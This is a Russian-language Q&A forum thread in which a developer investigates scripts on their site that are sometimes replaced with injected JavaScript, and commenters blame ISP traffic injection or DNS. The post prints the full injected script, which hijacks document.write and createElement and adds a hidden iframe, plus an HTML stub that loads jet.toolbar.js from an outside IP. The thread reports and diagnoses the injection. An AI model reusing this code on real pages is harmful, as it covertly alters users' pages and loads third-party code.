@astler

Откуда на сайтах берется левый JavaScript — JetToolbar.js?

В общем, сижу, никого не трогаю, делаю сайт. И тут вижу, что в Консоли Chrome постоянно лезут ошибки. Иду разбираться, и что я вижу. Периодически браузер запрашивает с моего сайта страницу с адресом /gA0LNt_i5b9Q.html. Интересно, я таких ссылок нигде не размещал. Вижу, что запрос этой страниц идет из скрипта. Открываю в скрипт - и вижу там совсем не тот код, который там должен быть. Я решил, что где-то тут завелись вирусы, и начал свое мини-исследование. В общем, после всех проверок оказалось, что у меня все чисто, как на веб-сервере, так и на всех компах. Кроме того, выяснилось, что скрипты подменяются не только на моем сайте, который я разрабатываю, но и на других сайтах. Просто с какой-то долей вероятности (скажем меньше 1%), вместо исходного скрипта подгружается скрипт с другим содержимым (вот, например, что загрузилось вместо скрипта platform.twitter.com/widgets.js на одном сайте):
(function(a, b, c) {
    var d = "script",
        e = "src",
        f = b.location,
        g = function(a) {
            return b.getElementsByTagName(a)
        }, h = g(d),
        i = h.length;
    if ("loading" == b.readyState & i > 0 & c == h[h.length - 1].src && b.write('<script type="text/javascript" src="' + c + '?r=1"></script>'), g(d).length == i) {
        var j = -1,
            k = b.createElement(d);
        k.src = c + "?r=2", k.type = "text/javascript";
        for (j in h) {
            if ("string" == typeof h[j].src && h[j].src == c) {
                var l = h[j].nextSibling;
                l ? h[j].parentNode.insertBefore(k, l) : h[j].parentNode.appendChild(k)
            }
            break
        }
        k.parentNode || g("head")[0].appendChild(k)
    }
    if (!a.jTB & a == a.top) {
        var m = b.write;
        b.write = function() {
            var a = m.apply(this, arguments);
            return a
        };
        var n = b.createElement;
        b.createElement = function() {
            var a = arguments,
                b = n.apply(this, a);
            try {
                if (b.getAttribute) {
                    var c = b.setAttribute;
                    1 == a.length && a[0].toLowerCase() == d && (Object.defineProperty && Object.defineProperty(b, e, {
                        set: function() {
                            this.setAttribute(e, arguments[0])
                        },
                        get: function() {
                            return b.getAttribute(e)
                        }
                    }), b.setAttribute = function() {
                        var a = arguments;
                        return 2 == a.length && a[0] == e && a[1].indexOf(".js") == a[1].length - 3 && (a = [e, a[1] + "?r=4"]), c.apply(this, a)
                    })
                }
            } catch (f) {}
            return b
        };
        var o = function() {
            var a = g("body")[0];
            if (a) {
                var c = b.createElement("iframe");
                c.src = f.protocol + "//" + f.hostname + (f.port ? ":" + f.port : "") + "/gA0LNt_i5b9Q.html", c.name = document.domain;
                var d = c.style,
                    e = b.createElement("div"),
                    h = e.style;
                h.position = "fixed", d.overflow = "hidden", d.border = h.left = h.bottom = 0, d.width = d.height = h.width = h.height = "1px", e.appendChild(c), a.appendChild(e)
            } else setTimeout(o, 50)
        };
        o(), a.jTB = 1
    }
})(window, document, "http://platform.twitter.com/widgets.js");


В общем, вместо widgets.js (в данном случае, хотя подменябтяс каждый раз разные скрипты) грузится скрипт, который добавляет iframe и загружет уже нужный нам скрипт. Т.к. такой страницы нету на сервере - /gA0LNt_i5b9Q.html, то вылазит сообщение об ошибке в консоли браузера.

Дальше - интереснее. Оказалось, что иногда все же эта ссылка срабатывает (редко), и platform.twitter.com/gA0LNt_i5b9Q.html выдает нам такой html код (опять же, сервер может быть и другим, все зависит от того, какой скрипт был подменен, не меняется только страница- /gA0LNt_i5b9Q.html):
<html>
  <head>
    <script type='text/javascript'>
      if (window.name != document.domain) {
        document.domain = window.name;
      }
    </script>
    <script src = 'http://86.57.252.165:8082/jet.toolbar/jet.toolbar.js?ver=latest&jet-toolbar-cmds=ifrun:1' type='text/javascript'></script>
  </head>
  <body></body>
</html>


Ну, а дальше пошло-поехало, тот скрипт jet.toolbar.js тянет за собой еще кучу скриптов.

Вопрос такой - что это за такой jet.toolbar.js и как с ним бороться? И кот виноват? Это мой провайдер так развлекается, если я правильно понял?

P.S. Загуглил JetToolbar - вот на такую презентацию наткнулся ciscoconnect.ru/en/system/files/jettoolbar_i_subsc...
  • Вопрос задан
  • 1198 просмотров
Пригласить эксперта
Ответы на вопрос 5
@markety
На одном из своих сайтов в логах вижу то же самое. Запросы к странице gA0LNt_i5b9Q.html приходят из сети Белтелекома Сопоставляю с этой информацией - 42.tut.by/450791
Возможно, это и есть ответ.
Ответ написан
Комментировать
@Xius
Спасибо, что обнародовали свое расследование! Сегодня просматривал вебвизор в метрике и тоже увидел, что один пользователь с яндекс браузером долбится на страницу /gA0LNt_i5b9Q.html почти после каждого перехода.

Не придумал ничего лучше, как создать на сайте такую страницу с текстом предупреждения для пользователя gadgetbox.kz/ga0lnt_i5b9q

Возможно, что дело и в провайдере.
Ответ написан
Комментировать
index0h
@index0h
PHP, Golang. https://github.com/index0h
Похоже на подмену трафика, или работу браузерных расширений. Недавно видел браузерное расширение пытающееся себя продать как защиту касперского, но на самом деле - отключало adblock + своего говна домешивало в DOM.
Ответ написан
Mystray
@Mystray
NOC
Проверьте настройки DNS на роутере, если таковой используется. Если там все нормально - пробуйте, как было сказано выше, сменить провайдера.
Ответ написан
Комментировать
@zKey
У нас есть такая технология.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы